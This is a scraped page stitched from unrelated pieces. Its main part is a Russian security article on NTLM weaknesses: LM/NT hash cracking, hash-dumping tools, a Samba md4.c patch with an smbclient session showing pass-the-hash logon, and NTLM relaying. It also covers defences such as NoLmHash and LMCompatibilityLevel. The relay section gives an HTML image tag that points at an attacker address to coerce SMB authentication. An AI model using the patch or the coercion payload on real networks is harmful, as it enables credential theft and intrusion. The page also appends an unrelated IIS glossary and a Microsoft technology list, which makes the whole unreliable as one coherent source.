Windows nt challenge response что это

Призы для победителей конкурса предоставил компьютерный интернет магазин
Автор: ЗАРАЗА

Введение

Когда, полтора десятка лет назад, компания Microsoft начала серьезную работу над созданием централизованных сетей масштабов предприятия при работе над операционной системой Windows NT, перед разработчиками была поставлена весьма сложная, и новая по тем временам задача – реализовать технологии single sign-on, и One user – one password.

One user – one password (один пользователь – один пароль) означает, что у пользователя должен быть только один пароль. Единый пароль используется для доступа ко всем ресурсам и протоколам сети. Single sign-on (единый вход) подразумевает, что этот пароль указывается всего один раз – при входе пользователя в сеть.

Можно много спорить о преимуществах и недостатках такого подхода, но бесспорно одно – этот подход удобен как для пользователей, так и для разработчиков приложений. Пользователь избавлен от необходимости помнить много паролей и вводить их, а разработчику не надо задумываться над тем, как организовать аутентификацию пользователя.

Для этого необходимо было разработать такую схему аутентификации, которая позволила бы любому сетевому приложению передавать данные аутентификации независимо от сетевого протокола. Так родился NTLM и NTLMSSP (NTLM Security Service Provider) – подсистема позволяющая любому клиент-серверному приложению использовать NTLM ничего не зная о его внутренней структуре.

Нельзя сказать, чтобы Microsoft проигнорировал требования безопасности для протокола аутентификации. В общем-то, на тот момент протокол NTLM не был слабее многих уже использовавшихся протоколов, и в чем-то даже лучше. Но сейчас можно с уверенностью сказать, что вместе с протоколом NTLM появилось большое количество проблем связанных с его безопасностью. Часть проблем вызвана тем, что Microsoft должен был сохранить совместимость с существующими сетями LanManager для MS-DOS и Windows for Workgroups. Другие являются ошибками дизайна и объясняются новизной решаемой проблемы. Третьи являются исключительно криптографическими, т.к. тогда производители ПО редко имели в штате профессиональных криптоаналитиков.

Проблемы протокола NTLM широко дискутировались начиная с 1995 года и обсуждаются до сих пор. Существует ошибочное мнение, что протокол аутентификации Kerberos v5, используемый в сетях Windows 2000 и Windows 2003, полностью снимает проблему NTLM. Это не так, т.к. поддержка NTLM в существующих сетях Windows является обязательной и любая из сторон, принимающих участие в процессе аутентификации, может инициировать использование этого протокола. По этой причине многие проблемы протокола NTLM остаются актуальными в современных сетях Windows и должны учитываться не только в процессе администрирования сети, но и на этапе ее проектирования.

Я попытался собрать в одном месте информацию, мысли, идеи и проблемы, родившиеся в результате почти десятилетней дискуссии в открытых списках рассылки, а так же личной переписки со многими людьми, которым мне хотелось бы выразить признательность за их помощь, ответы на вопросы и терпение – Urity (urity at securityfriday.com), Jesper Johansson (jesperjo at microsoft.com), Solar Designer (solar at openwall.com), offtopic (offtopic at mail.ru) Glenn Zorn (gzorn at cisco.com) и многим другим. Так же использовались материалы из постингов Todd Sabin, Luke Kenneth Casson Leighton и Salman Niksefat. Из-за природной лени и отсутствия точных названий и постоянных URL для большинства использованных постингов я не буду делать список литературы в конце статей, пусть это сделает Google.

Мы не будем углубляться в технические детали более, чем это необходимо для понимания проблемы, тем не менее, иногда от читателя потребуются некоторые минимальные представления о процессах аутентификации и авторизации, программировании и криптографии. Чтобы облегчить жизнь читателю, в статье будут встречаться вставки «общеобразовательного» характера.

Процесс аутентификации клиент-серверных приложений в сетях Microsoft

Что происходит после нажатия на Ctrl+Alt+Del? Появляется запрос локальной подсистемы безопасности (Local Security Authority, LSA) на ввод имени пользователя и пароля. После ввода пароль хэшируется (криптографический хэш – одностороннее преобразование делающее невозможным, или по крайней мере сложным восстановление по нему оригинального пароля) и хэш помещается в хранилище LSA. В открытом виде он больше уже нигде не фигурирует (в старых версиях Windows пароль мог храниться в открытом виде или с обратимым шифрованием, т.к. старые версии LanManager использовали аутентификацию в открытом тексте, но не будем вспоминать эти времена). Кроме того, к хранилищу LSA нельзя обратиться напрямую стандартными методами. В хранилище хэши находятся до окончания сеанса работы (а иногда и после, это будет рассмотрено далее).

Протокол NTLM относится к семейству challenge-response (запрос-ответ) протоколов. Это означает, что ни пароль ни его хэш никогда не передаются «как есть», вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). Аутентифицирующая сторона сравнивает полученный ответ с вычисленным локально. Генерация и проверка запроса и ответа осуществляется не приложениями, а провайдером NTLMSSP. Данные аутентификации, генерируемые NTLMSSP через специальные функции API (InitializeSecurityContext()/AcceptSecurityContext()) могут быть включены в любой протокол прикладного уровня, упаковка этих данных (называемых security blob – «начинка безопасности») это все, что требуется от приложений с точки зрения NTLMSSP. После успешной проверки подсистема безопасности генерирует токен, который может быть использован серверным приложением с правами локальной системы для имперсонирования пользователя, т.е. при подключении пользователя к серверному приложению серверное приложение может работать от его имени. В таком случае пользователь совершает вход на удаленную систему. Возникает вопрос – а может ли серверное приложение обратиться к другим сетевым ресурсам с использованием NTLM, не запрашивая дополнительной аутентификации? Если в хранилище LSA удаленного компьютера нет хэшей пароля пользователя – то это невозможно. Отсюда, например, невозможность «прозрачного» доступа к сетевому диску из telnet-сеанса или через Web-сервер если доступ через telnet или к Web происходит с NTLM аутентификацией.

Теоретически все получается замечательно и абсолютно безопасно. Даже запустив приложение с правами пользователя, все равно не возможно получить его пароль или даже хэш. И даже перехватив сеанс и подменив сервер, не получится получить доступ к другим сетевым ресурсам.

Давайте посмотрим на все это с точки зрения реализации.

Хэши NTLM

В семействе протоколов NTLM (как мы увидим далее, NTLM-подобных протоколов несколько) могут использоваться 2 типа хэшей: LM (LanManager) хэш, унаследованный от предыдущих реализаций LanManager и NT (New Technology) хэш, созданный для протокола NTLM. Соответственно, при входе пользователя в систему, как правило, от пароля берутся и хранятся оба этих хэша. Первая версия протокола NTLM для совместимости поддерживала оба ключа (NT или LM ключем обычно называют соответствующий хэш пароля). В более поздних реализациях используется только NT ключ, однако по-умолчанию LM хэш все равно создается при входе и помещается в хранилище LSA. Давайте рассмотрим оба алгоритма хэширования.

LM ключ получается из пароля в 8-битной OEM кодировке (cp866 для России) с помощью алгоритма DES.

Для справки: DES является симметричным блочным шифром, использующим 56 битный ключ для шифрования 64 битного блока текста. Реально, внутри алгоритма используется 64 битный ключ, однако длина ключа искусственно занижена по непонятным соображениям – 56 битный ключ «растягивается» за счет вставки дополнительного бита через каждые 7 бит ключа. Поскольку DES обладает относительной стойкостью к атакам известного открытого текста, он может быть использован в качестве криптографической хэш функции, если в качестве открытого текста использовании какой-либо известный текст, а в качестве ключа – хэшируемое слово. Известный текст может быть либо случайным (в таком случае он называется salt – соль, и хранится в месте с паролем), либо предопределенным, в таком случае он называется Magic Word – заклинание. В классической реализации crypt() в Unix использовался первый подход, в Windows используется магическое слово KGS!@#$% (посмотрите на клавиатуру…. Наверное, это был чей-то пароль). При использовании в качестве хэш функции DES генерирует 64 битный хэш по 56 битному тексту.

Поскольку DES позволяет получить хэш лишь от 7-символьного блока, то реально используется пароль из 14 символов (более короткий пароль дополняется нулями), который разбивается на два блока по 7 символов, от каждого из которых независимо вычисляется хэш. В итоге получается 128-битный хэш «склееный» из двух частей.

Недостатки алгоритма очевидны. Независимое вычисление двух блоков позволяет и их независимый взлом, т.е. реально каждый 64 бита хэша можно атаковать с целью восстановления пароля. Причем для генерации LM ключа пароль не чувствителен к регистру символов и символы всегда используются в верхнем реестре. Это делает очень эффективной атаку на восстановление пароля методом последовательного перебора (не более 7 символов из очень ограниченного алфавита). Причем длинный пароль может быть легче восстановить чем более короткий. Например, для пароля из 12 символов, сначала за считанные секунды подбираются последние 5 символов, после чего делается предположение о структуре пароля и первые 7 символов пароля подбираются по более ограниченному алфавиту. В настоящее время известны очень быстрые реализации DES с использованием 64-битной арифметики, что делает его абсолютно непригодным для криптографии. В общем случае, восстановление пароля по LM хэшу на современной технике вопрос не более чем нескольких дней. Кроме того, фиксированное магическое слово позволяет использование таблицы заранее посчитанных значений ключей, что делает возможным восстановление пароля по LM хэшу в реальном времени.

NT ключ вычисляется с помощью стандартного алгоритма хэширования MD4. Хэш MD4 берется от пароля записанного в 16-битной кодировке Unicode с последовательностью байт low endian (т.е. первым байтом идет номер символа в странице). Пароль вычисляется с учетом регистра. MD4 имеет несколько криптографических проблем, самой большой из них является маленькое время вычисления хэша, что позволяет перебирать достаточно большое количество комбинаций в единицу времени упрощая, например, атаку по словарю или подбор слабой комбинации символов.

Подсказка: существует большое количество программ для восстановления пароля из NT или LM ключа путем подбора по словарю или перебора – John-the-Ripper, LophtCrack, Cain & Abel. При наличии обоих ключей, обычно сначала восстанавливается пароль в верхнем регистре из LM-ключа, затем по NT-ключу восстанавливается регистр пароля. Такой подход, в частности, реализован в Cain & Abel (http://www.oxid.it), являющейся на сегодня наиболее мощным и универсальным инструментом для выполнения различных задач связанных с обнаружением слабых конфигураций, в т.ч. и многих проблем NTLM. Мы еще неоднократно будем возвращаться к возможностям этой утилиты. Самая быстрая реализация алгоритма DES ориентированная на взлом LM-ключей в Solar Designer’овском John-the-Ripper.

Совет: Можно запретить генерацию LM-ключей в системе путем установки в 1 значения NoLmHash в разделе реестра HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa

Несмотря на то, что будет описано ниже, сделать это настоятельно рекомендуется, хотя бы для очистки совести.

Кому нужен сломанный ключ?

Как мы уже говорили, NT и LM ключи (хэши) генерируются из пароля при входе пользователя в систему, после чего пароль нигде не хранится и никогда не используется. Возникает закономерный вопрос: если у нас есть на руках NT и LM хэши можем ли мы использовать их, например, для аутентификации по сети без восстановления пароля в открытом тексте? Очевидно, да. Начнем с простого случая открытых кодов. Попробуем модифицировать smbclient из состава SAMBA таким образом, чтобы подключаться к удаленному файловому серверу с исопльзованием NT хэша (как мы знаем, из NT хэша восстановить пароль гораздо сложнее). Было бы достаточно сложно перелопатить полтора десятка мегабайт исходников SAMBA, если бы мы не знали точно, что NT ключ это MD4 хэш. Нам будет достаточно только модифицировать библиотеку md4.c таким образом, чтобы не хэшировать что-то, что уже похоже на хэш. Например то, что состоит из 32х 16-ричных символов (как мы помним, ключ 128-битный, а пароль приходит в кодировке Unicode, т.е. каждый входящий символ занимает 2 байта, получается 64 байта на входе и 16 на выходе).

— md4.c.orig 2004-04-04 11:37:00.000000000 +0400

+++ md4.c 2004-10-27 23:01:31.000000000 +0400

@@ -130,6 +130,21 @@

C = 0x98badcfe;

D = 0x10325476;

+

+ if(n == 64){

+ int j;

+ unsigned char * hexd = (unsigned char *)»0123456789ABCDEF»;

+ for(j = 0; j<16; j++){

+ if(!strchr(hexd, in[(j<<2)]))break;

+ if(in[(j<<2)+1])break;

+ if(!strchr(hexd, in[(j<<2)+2]))break;

+ if(in[(j<<2)+3])break;

+ out[j] = ((strchr(hexd, in[(j<<2)]) — (char *)hexd)<<4);

+ out[j] ^= (strchr(hexd, in[(j<<2)+2]) — (char *)hexd);

+ }

+ if(j == 16) return;

+ }

+

while (n > 64) {

copy64(M, in);

mdfour64(M);

Проверим:

bash$ smbclient //WIN2KSRV/shared

added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0

Got a positive name query response from 192.168.1.2 ( 192.168.1.2 )

Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)

Domain=[WIN2KDOMAIN] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

smb: >

Получилось.

Наверное, у самых вредных возникает вопрос, можно ли проделать подобный трюк используя сам Windows в качестве клиента? Можно попробовать найти реализацию MD4 используемую для получения хэша при входе пользователя и подменить ее (модификацией двоичного кода или за счет подмены функции одним из многочисленных способов). Быстрый поиск по системным файлам показывает, что в папке SYSTEM32 около 85 реализаций MD4 (видимо программистам платят по объему двоичного кода), есть и особо подозрительные, например в samlib.dll. Делались и попытки поменять ключи непосредственно в памяти или хранилище, например в статье Hernan Ochoa “Modifying Windows NT Logon Credentials”… Но, собственно, статья наша теоретическая и одного эксперимента для подтверждения теории вполне хватает. Урок, который должен быть извлечен – хэш пароля с точки зрения протокола NTLM абсолютно равнозначен самому паролю, возможность получения хэша означает возможность полного использования пароля.

Где что хранится

Не следует путать хранилище LSA с защищенным хранилищем (Protected Storage) и бaзой данных SAM (Security Account Manager database).

В Protected Storage могут храниться любые данные, помещенные туда приложением (имена и пароли удаленного доступа, электронной почты, аутентификации сайтов и данные для автозаполнения форм). Они могут быть извлечены оттуда в том же виде, в котором были туда положены по запросу приложения через стандартный API. Хэшей паролей пользователя там нет.

В базе данных SAM хранятся локальные учетные записи пользователей (на контроллере домена – доменные), включая пароли в виде NT и LM хэшей, что уже несколько интересней. Локальная база данных SAM является кустом системного реестра (т.е. частью реестра хранящейся в отдельном файле). Ранее, если на машине не использовалась утилита syskey, можно было извлечь хэши локальных паролей учетных записей непосредственно из файла или из реестра. Для извлечения хэшей из файла можно было использовать утилиту samdump Дмитрия Андрианова, для извлечения из реестра – pwdump (Jeremy Allison). Однако, утилита syskey шифрует хранящиеся хэши с помощью системного ключа используя алгоритм RC4. Ключ может храниться на дискете, которую необходимо вставлять при загрузке машины, либо на диске – закрытый паролем (его необходимо вводить при каждой загрузке машины) или в некой обратимой форме. Управлять хранением системного ключа можно с помощью утилиты syskey. Начиная с Windows 2000 syskey c хранением ключа в обратимой форме включен по-умолчанию, что затрудняет извлечение хэшей из SAM стандартным способом. То, что будет извлечено, на самом деле не является хэшем пароля. Pwdump2 (Todd Sabin) обходит защиту syskey считывая хэши паролей через внутренний API в контексте процесса winlogon используя технику DLL injection. Pwdump3 (Phil Staubs) использует ту же саму технику в сочетании с Service API для того, чтобы запустить процесс на удаленном компьютере. Для работы всех программ требуется либо физический доступ к компьютеру либо повышенные привилегии (для pwdump2 и pwdump3 – SeDebugPrivilege).

Похожие приемы использовались и для доступа к хранилищу LSA. Lsadump (PaulAshton) использовала недокументированный API LsaRetrievePrivateData() для получения данных из хранилища LSA и могла работать только из-под учетной записи локальной системы. В более поздних системах Microsoft сделал использование этой функции совсем невозможным. Lsadump2 (Todd Sabin) использует ту же технику DLL injection, что и pwdump2 для доступа к секретам LSA через внутренний API lsass и так же требует SeDebugPrivilege.

Наверное, следует так же упомянуть о cached logon credentials (кэшированных удостоверениях). По-умолчанию Windows хранит данные о последних 10 набранных именах пользователей и паролей. Основная цель – дать возможность доменному пользователю войти на компьютер даже в случае отсутствия связи с контроллером домена. Поскольку нет необходимости хранить непосредственно хэш пароля (он будет вычислен при входе пользователя в систему), хранится некое производное значение (MD4 от имени пользователя и NT-хэша). Т.е. восстановить хэш пароля сложно, но можно попытаться атаковать слабые пароли пользователя. CachedLogonCredentials так же хранятся либо в хранилище LSA либо в разделе реестра NL$. К сожалению единственное известное средство автоматического доступа к кэшированным паролем, hashpipe (Todd Sabin) на сегодня не является общедоступным.

Указанные инструменты больше не поддерживаются разработчиками. Они, и другие тестировавшие утилиты, включая Cain & Abel, так же не дают надежного результата в Windows XP SP2, т.к. Microsoft изменил алгоритм работы winlogon и lsass, однако, для Cain & Abel это, скорее всего, лишь вопрос времени.

Совет: управлять Cached Logon Credentials можно с помощью доменных политик либо при помощи ключа реестра CachedLogonCount в разделе HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

Очень неприятно, если, например, в кэшированных удостоверениях останутся сведения о входе на компьютер администратора домена (это одна из причин управлять компьютером удаленно). Часто можно встретить рекомендацию устанавливать CachedLogonCount в 0, однако наиболее оптимальным представляется значение 1 – это позволяет в отсутствии сетевого подключения войти в систему последнему пользователю – т.е. тому, который обычно работает с компьютером .

Собственно NTLM

На сегодняшний момент существует две основных версии NTLM. Первая версия NT LanManager 0.12, часто называемая NTLM v1 и NTLM v2. Кроме того, существует несколько основанных на NTLM диалектов, например протокол аутентификации MS-CHAPv2 (MS-CHAP является NTLM 0.12 в чистом виде). Мы подробней остановимся на NTLM 0.12, т.к. нас будут интересовать его, так часто обсуждаемые, криптографические уязвимости.

Итак, NTLMSSP генерирует «кусочки» данных безопасности (security blob) которыми обмениваются клиентское и серверное приложение. Обмен происходит в несколько этапов, и для NTLM 0.12 выглядит следующим образом:

1. Клиент посылает серверу запрос на аутентификацию.
2. Сервер отвечает пакетом, в котором указывается выбранная NTLM аутентификация и поле EncryptionKey которого содержит 64-битный случайный запрос (challenge).
3. Клиент посылает сообщение, содержащее поля AccountName (учетная запись), PrimaryDomain (домен учетной записи), CaseInsensitivePassword (пароль не чувствительный к регистру, фактически это LM-ответ) и CaseSensitivePassword (пароль чувствительный к реестру, фактически NT-ответ). Оба ответа являются 192-битными и вычисляются на основе NT и LM ключа по одному и тому же алгоритму. Если соответствующего ключа нет, то и соответствующий ответ будет нулевым.

Давайте проиллюстрируем алгоритм генерации ответа на примере NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (как мы помним, он 128-битный) с 64-битным запросом сервера 0123456789ABCDEF.

NT-ответ DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Сразу должно бросаться в глаза, что не так с этим алгоритмом – проблема та же, что и при вычислении LM-хэша, все три DES-блока вычисляются независимо. Это означает, что и восстанавливаться по известному запросу и ответу они так же могут независимо. Для современного PC время восстановление одного блока хэша пароля методом полного перебора составляет порядка нескольких недель и не зависит от сложности пароля.

В случае, если имеется LM-ответ – опять же возможна атака на восстановление второй половины пароля в открытом тексте, после чего первая часть даже полным перебором восстанавливается за несколько дней.

Из этого, в сочетании с тем, что имея хэш мы не нуждаемся в пароле в открытом тексте, следует однозначный вывод – NTLM 0.12 и MS-CHAP не должны использоваться для аутентификации в сетях, где возможен перехват трафика. Кроме того, если у внешнего недоверенного сервера есть возможно инициировать «прозрачный» вход пользователя, то он может использовать переданный ответ для восстановления ключа пользователя. Причем, за счет выбора «хорошего» запроса (например одни нули) взлом ключа может быть организован в реальном времени по заранее просчитанным таблицам.

Протокол аутентификации удаленного доступа MS-CHAPv2 является всего лишь расширением протокола MS-CHAP и, соответственно, NTLM 0.12. Изменения состоят в следующем: клиент так же генерирует случайный запрос для сервера, на который сервер должен ответить, т.е. аутентификация клиента и сервера является взаимной. Кроме того, запрос сервера попадает в алгоритм генерации ответа в измененном виде (сам алгоритм остается прежним) – берется SHA1 от запроса сервера, запроса клиента и имени пользователя. Это не влияет на сложность атаки на восстановление хэша т.к. SHA1 достаточно вычислить лишь один раз, а далее используется тот же алгоритм перебора. Единственным положительным моментом с точки зрения криптографии, является то, что в случае подмены сервера нельзя использовать заранее просчитанные таблицы для восстановления хэша путем выбора заранее известного запроса.

Из этого следует, что MS-CHAPv2, который часто используется для аутентификации, например, PPTP соединений, так же ни в коем случае не должен использоваться для аутентификации по недоверенным каналам связи. На сегодня, единственный более-менее стойкий протокол парольной аутентификации удаленного доступа это PEAP (Password EAP), который, к сожалению, слабо поддерживается, что делает практически невозможным использовать, например, PPTP туннели с шифрованием MPPE, даже с ключем шифрования большой длины, для построения VPN сетей, т.к. ключи шифрования MPPE генерируются на основе NT-ключа. Возможность восстановления NT ключа по данным аутентификации дает, к тому же, возможность восстановить передаваемые данные за весьма короткий срок вне зависимости от длины сеансового ключа.

В NTLMv2 так же используется взаимная аутентификация клиента и сервера, но для получения ответа используется гораздо более сильный алгоритм HMAC-MD5.

Для справки: HMAC-MD5 генерирует хэш на основе текста (text) и ключа (key) с использованием стандартного хэша MD5 по следующему алгоритму:

HMAC_MD5(text,key) = MD5 (key xor opad . MD5(key XOR ipad.text))

Где ‘.’ Означает конкатенацию, ipad = 0x36363636363636363636363636363636, ipad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C

Ответ вычисляется следующим образом:

1. Клиент генерирует ключ (NT2 ключ) используя HMAC_MD5 с NT-ключем в качестве ключа и именем пользователя конкатенированным с именем домена в Unicode в качестве текста.
2. Клиент генерирует кусок данных (blob), в который входят случайные данные, временная метка, NetBIOS имя и т.д, всего порядка 64 байт, длина может варьироваться.
3. blob конкатенируется с ответом сервера
4. Вычисляется HMAC-MD5 c NT2 ключем полученном на первом шаге в качестве ключа и blob в качестве текста.
5. результат (4) конкатенируется с blob (2). То, что получилось и есть ответ.

Такой алгоритм генерации ответа при использовании стойких паролей снимает практически все криптографические проблемы, что делает NTLMv2 вполне устойчивым к атакам пассивного прослушивания, тем не менее, разумеется, остается возможность подбора слабых паролей по словарю или полным перебором.

Подсказка: В Cain & Abel реализованы практически все рассмотренные атаки. Кроме того, встроенный снифер с возможностью arp poisoning позволяет перехватывать данные NTLM аутентификации даже в коммутируемых сетях и автоматически передавать все необходимые данные в подсистему криптографиеского анализа для различного типа криптографических атак.

Совет: Можно управлять разрешенными протоколами аутентификации и запретить протоколы аутентификации отличные от NTLMv2 с помощью реестра или доменных политик. За это отвечает ключ реестра LMCompatibilityLevel в разделе HKLMSystemCurrentControlSetControlLSA. Возможные значения слудющие:

1. Посылать NT и LM ответы
2. безопасность сеанса NTLM (не затрагивает аутентификацию)
3. NTLM аутентификация. LM ответ не генерируется клиентом. На сервер не влияет.
4. NTLMv2 аутентификация, клиент не использует NTLM 0.12
5. NTLM требуется, сервер не принимает LM ответ
6. NTLMv2 требуется, сервер не принимает NTLM 0.12 аутентификацию.

Как следует из названия, установка высокого LMCompatibilityLevel может повлиять на клиентов со старыми ОС.

Атаки NTLM-релеинга

Протокол NTLM был специально разработан для того, чтобы обеспечить прозрачный доступ пользователей к ресурсам без лишних вопросов и при этом не зависеть от прикладных и сетевых протоколов. Клиентское приложение, поддерживающее NTLM, просто передает генерируемые подсистемой безопасности данные аутентификации (блобы) серверному приложению. При этом нет никакой привязки данных аутентификации к сетевому протоколу, т.е. таким параметрам, как, например, IP адрес и порт. Это позволяет NTLM-аутентификации проходить через прокси сервер или маршрутизатор с трансляцией адресов, но это, также, позволяет и атаки NTLM релеинга, когда атакующий, не имеющий прямого доступа к сетевым данным между клиентом и сервером может, однако, перехватывать все передаваемые данные. Единственное необходимое для этого условия (кроме связи с клиентом и сервером на сетевом уровне, разумеется) это возможность инициировать подключение клиента по протоколу поддерживающему прозрачную NTLM-аутентификацию. Таким образом не имея непосредственного доступа к каналу связи, можно организовать ситуацию человека-по-средине (man-in-the-middle).

Итак: атакующий провоцирует клиента на подключение к себе по протоколу, позволяющему NTLM аутентификацию. После чего атакующий подключается к серверу так же по любому протоколу позволяющему NTLM аутентификацию. Это не обязательно должен быть тот же протокол, который использует клиент, т.к. данные аутентификации никак не привязаны к прикладному протоколу и сетевым параметрам. Например, клиент может подключиться к атакующему с использованием файлового протокола CIFS (SMB), а атакующий к серверу – по протоколу telnet. После чего данные аутентификации (блобы) передаются атакующим между клиентом и сервером. По окончании аутентификации клиент считает, что он успешно авторизован сервером, сервер считает, что он авторизовал клиента, а атакующий имеет два авторизованных канала – он выступает от имени сервера для клиента и от имени клиента для сервера.

Спасает ли, хотя бы в какой-то степени, использование NTLMv2 от атак NTLM-релеинга? К сожалению, нет. Поскольку атакующий не применяет криптоанализ, то криптостойкость алгоритма влияния не оказывает. Не оказывает влияния и наличие взаимной аутентификации клиента и сервера. Атакующий пробрасывает все данные аутентификации между ними, поэтому лишний пакет – ответ сервера на запрос клиента – туда так же попадает.

Для некоторых протоколов Microsoft советуют применять подпись пакетов, например, SMB signing для CIFS/SMB. К сожалению, подпись SMB спасает лишь в единственной ситуации – она затрудняет подключение к серверу CIFS требующему подпись. Это делает невозможным использование межпротокольного релеинга NTLM для подключения к серверу CIFS. В случае релеинга от CIFS клиента к CIFS серверу у атакующего остается доступ ко всем проходящим данным. Клиент и сервер подписывают данные, но опять эта подпись не привязана к сетевому протоколу, атакующий просто пересылает данные в неизменном виде. Это не дает атакующему возможность вмешаться в передаваемые данные (например, запросить свой файл непосредственно у сервера), однако, если атакующий получил возможность управлять поведением клиента – он может заставить клиента запросить требуемый файл.

На текущий момент существует много способов управлять поведением клиентского приложения. Например, направив пользователя на HTML страницу, содержащую так <IMG SRC=”\A.B.C.DSECRETSHARElargesecret.doc”>, где A.B.C.D – адрес атакующего, можно заставить клиента подключиться к сетевой папке SECRETSHARE атакующего по протоколу CIFS и запросить файл largesecret.doc. Атакующий может перенаправить этот запрос на сервер от имени клиента. При этом все запросы будут подписаны клиентам в случае использования SMB signing.

Атаки NTLM релеинга обсуждались разными авторами. DilDog в 2000м году, в связи с проблемой NTLM авторизации в telnet (Internet Explorer к тому времени уже имел опцию не выполнять прозрачную NTLM-авторизацию в Internet-зоне). 3APA3A в 2001 в связи с SPA авторизацией Outlook Express. Salman Niksefat и Haamed Gheibi в 2003м продемонстрировали практическую реализацию NTLM релеинга из CIFS в CIFS для случая, когда клиент и сервер это одна и та же машина.

Как защищаться от атак NTLM

Основное средство от различных атак перехвата – это, разумеется, шифрование трафика между хостами. Можно найти достаточное количество руководств по внедрению шифрования трафика с помощью политик безопасности IP.

Чтобы предотвратить атаки NTLM релеинга с помощью протокола CIFS, следует ограничить использование этого протокола. Во-первых подключения по протоколам NetBIOS (TCP/139) и CIFS over TCP (TCP/445) не должны пропускаться не только из внешней сети во внутрь, но и из внутренней сети наружу. По многим причинам, включая и эту, доступ к ресурсам Internet для пользователей следует организовывать не при помощи трансляции адресов, а с помощью прокси-сервера. Атака NTLM релеинга с помощью CIFS может быть использована и во внутренней сети, с целью повышения привилегий. Чтобы этого недопустить, следует ограничить связь на сетевом уровне между клиентскими компьютерами. В идеальном случае у клиентов должна быть связь только с теми серверами, к которым они должны подключаться. В сетях Windows 2000/XP/2003 такая структура сети легко реализуется за счет применения доменных политик безопасности IP.

Для этого создается правило, позволяющее блокировать пакеты:

Создается описание серверной сети

Создается политика разрешающая серверный трафик и запрещающая весь остальной:

Теперь данное правило можно применить к локальному компьютеру либо ко всем клиентским компьютерам с помощью политик Active Directory.

Устранив возможности NTLM атак в CIFS, мы не устраним атаки полностью. Существует большое количество протоколов поддерживающих NTLM аутентификацию, а развитие различных сервисов, в т.ч. и RPC, поверх HTML делает фильтрацию NTLM-аутентификации наружу еще более затруднительной.

Подсказка: в качестве решения можно посоветовать не позволять доступ к сервисам, доступным снаружи с учетными записями используемыми во внутренней сети. Для внешних ресурсов лучше использовать авторизацию на основе сертификатов, во внутренней сети – двухфакторную авторизацию.

Заключение

Я надеюсь, что статья поможет вам учесть особенности протокола NTLM при построении архитектуры и схемы защиты вашей сети или просто понять, что он из себя представляет. C удовольствием приму любые поправки, дополнения и просто комментарии на адрес 3APA3A@security.nnov.ru.

What is Windows NT Challenge/Response Authentication?

Windows NT Challenge/Response Authentication is an authentication scheme used in Microsoft Windows NT–based networks that enables users to be authenticated without the transmission of actual account information or passwords across the network. Windows NT Challenge/Response Authentication is one of three authentication schemes supported by Internet Information Services (IIS). It is also sometimes known as NTLM, which stands for Windows NT LAN Manager authentication. On the Microsoft Windows 2000 platform, this authentication scheme is now known as Integrated Windows Authentication.

How Windows NT Challenge/Response Authentication Works

When a Web browser such as Microsoft Internet Explorer attempts to connect to an IIS server configured for Windows NT Challenge/Response Authentication, the IIS server challenges the browser to perform a complex mathematical calculation on the password of the logged-on user who is using the browser and to return the result of this calculation to the server. The server also performs the calculation on the user’s password obtained from a domain controller’s Security Account Manager (SAM) database. If the two calculations agree, the client is considered authenticated. If they differ, the user is prompted for a valid Windows NT username and password. If the user provides invalid credentials, the server sends a Hypertext Transfer Protocol (HTTP) status code to the client browser indicating that access is denied unless some other authentication scheme is enabled.

See also:

• anonymous access
• Basic Authentication

Некоторые технологии, программные интерфейсы, протоколы и спецификации произведённые в недрах Microsoft.

Это не всё, конечно, даже из этой программистской категории. А есть ещё различные аббревиатуры и названия просто для разных частей Windows и т. п., но то не так интересно.

OLE — технология связывания и внедрения объектов в другие документы и объекты.
OLE Automation — механизм межпроцесорного вхаимодействия, основанный на COM; для использования в скриптовых языках.
aka Automation
ActiveX — ребрэндинг OLE
COM (Component Object Model) — обеспечивает межпроцессорное взаимодействие между объектами написанными на разных языках
COM+ — улучшена поддержка потоков, etc
DCOM — позволяет COM-компонентам взаимодействовать друг с другом по сети
VBX (Visual Basic Extension) — стали ненужны благодаря…
OCX (OLE custom controls) — элементы интерфейса на основе OLE

Ещё пятьсот → CDO (Collaboration Data Objects) — доступ к Global Address List и другим объектам на сервере, в дополнение к содержимому письменных ящиков и папок.
aka OLE Messaging
aka Active Messaging

WCF (Windows Communication Foundation) — коммуникация между процессами. Часть .NET.
DDE (Dynamic Data Exchange) — коммуникация между процессами

ASP (Active Server Pages)
ASP.NET
VB
VBA
VBScript
JScript
JScript.NET
J#
C#
.NET
CLR

IWA (Integrated Windows Authentication)
aka NT Authentication
aka NTLM Authentication
aka Domain authentication
aka Windows Integrated Authentication
aka Windows NT Challenge/Response authentication
aka Windows Authentication
NTLM (NT LAN Manager) — протокол сетевой аутентификации
SSPI (Security Support Provider Interface) — API используемый Windows’ами для выполнения разных секурных операций, таких как аутентификация.

Windows Sockets API
LSP (Layered Service Provider, англ. многоуровневый поставщик услуг) — технология Windows sockets версии 2.0, позволяющая пользователю подключать собственные DLL-библиотеки для обработки вызовов Winsock API.
SPI (Service Provider Interface)

AD (Active Directory)
aka NTDS (NT Directory Service)
FSMO (Flexible single master operation) — какая-то фича Active Directory
ADAM (Active Directory Application Mode) — простая имплементация AD
aka AD LDS (Lightweight Directory Services)

Мультимедиа

DirectX — общее название для группы технологий
MDX (Managed DirectX) — API для доступа к DirectX из .NET
Direct3D — 3D-графика, знамо
DirectX Graphics
DirectDraw — производительный рендеринг 2D-графики
DirectPlay — игра по сети
DirectSound — работа со звуком
DirectMusic — надстройка над DirectSound
DirectInput — джойстики, там…
DirectSound3D (DS3D)
DirectShow — API для работы с мультимедиа
aka ActiveMovie
DirectSetup — поддержка инсталяции DirectX
DMO (DirectX Media Objects) — фильтры наподобии тех что в DirectShow
ACM (Audio Compression Manager) — мультимедиа-фреймворк, работает с кодеками
Video for Windows — фреймворк для проигрывания видео; заменён DirectShow’ом
aka VCM (Video Compression Manager),
WinG — ускорение графики в первых Windows
<B>DCI — the same shit?
XNA (XNA is Not an Acronym) — предшественник DirectX

GDI — работаем с графикой
GDI+ — продолжение
WIC (Windows Imaging Component) — API для работы с изоюражениями.
WCS (Windows Color System) — подсистема и API в Vista для работы с цветом
CITE (Color Infrastructure and Translation Engine)

